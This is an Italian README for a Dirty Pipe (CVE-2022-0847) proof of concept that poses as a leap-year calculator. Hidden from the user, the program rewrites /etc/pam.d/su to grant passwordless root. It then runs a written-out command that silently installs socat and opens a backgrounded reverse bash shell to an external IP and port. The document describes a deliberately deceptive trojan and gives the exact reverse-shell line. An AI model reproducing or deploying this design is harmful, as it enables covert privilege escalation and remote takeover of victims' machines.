
Utilizzando CVE-2022-0847, "Dirty Pipe Exploit", per aprire una reverse shell bash ed eseguire codice arbitrario su una macchina remota.
Questo è un POC che mostra come ottenere una shell bash inversa per l'esecuzione arbitraria di codice su una macchina esterna utilizzando CVE-2022-0847, "Dirty Pipe Exploit". Questa vulnerabilità colpisce solo le versioni del kernel Linux 5.8 o successive, ma è stata corretta nelle versioni 5.16.11, 5.15.25, 5.10.102 e successive. Aggiorna il tuo kernel :)
Questo exploit è stato scoperto dal ricercatore di sicurezza Max Kellermann. Non entrerò nei dettagli di questo exploit perché lui lo fa molto meglio di quanto possa fare io nel suo articolo qui; https://dirtypipe.cm4all.com/
Questa prova di concetto è apparentemente un semplice programma per gli anni bisestili che ti dice se l'anno indicato è bisestile.
In background, modifico una riga in /etc/pam.d/s
Cambio la riga auth sufficient pam_rootok.so in auth sufficient pam_permit.so Questa modifica ci consente di eseguire comandi come superutente senza inserire una password.
Dopo di che, possiamo semplicemente usare la funzione system() di C per eseguire comandi come su.
Eseguo
su -c \"apt-get -y install socat\" > /dev/null; socat TCP4:172.23.46.133:4444 EXEC:/bin/bash & exit
Questa riga installa socat sul sistema e reindirizza l'output a un file nullo, così l'utente non vede l'output del download. Successivamente, eseguo un comando socat per connettermi a una macchina esterna con l'IP e la porta specificati.
Il & mette questo processo in background, così dopo che l'utente chiude il terminale la connessione verrà mantenuta.
Esecuzione del programma su una macchina vulnerabile:

Connessione alla macchina vulnerabile:
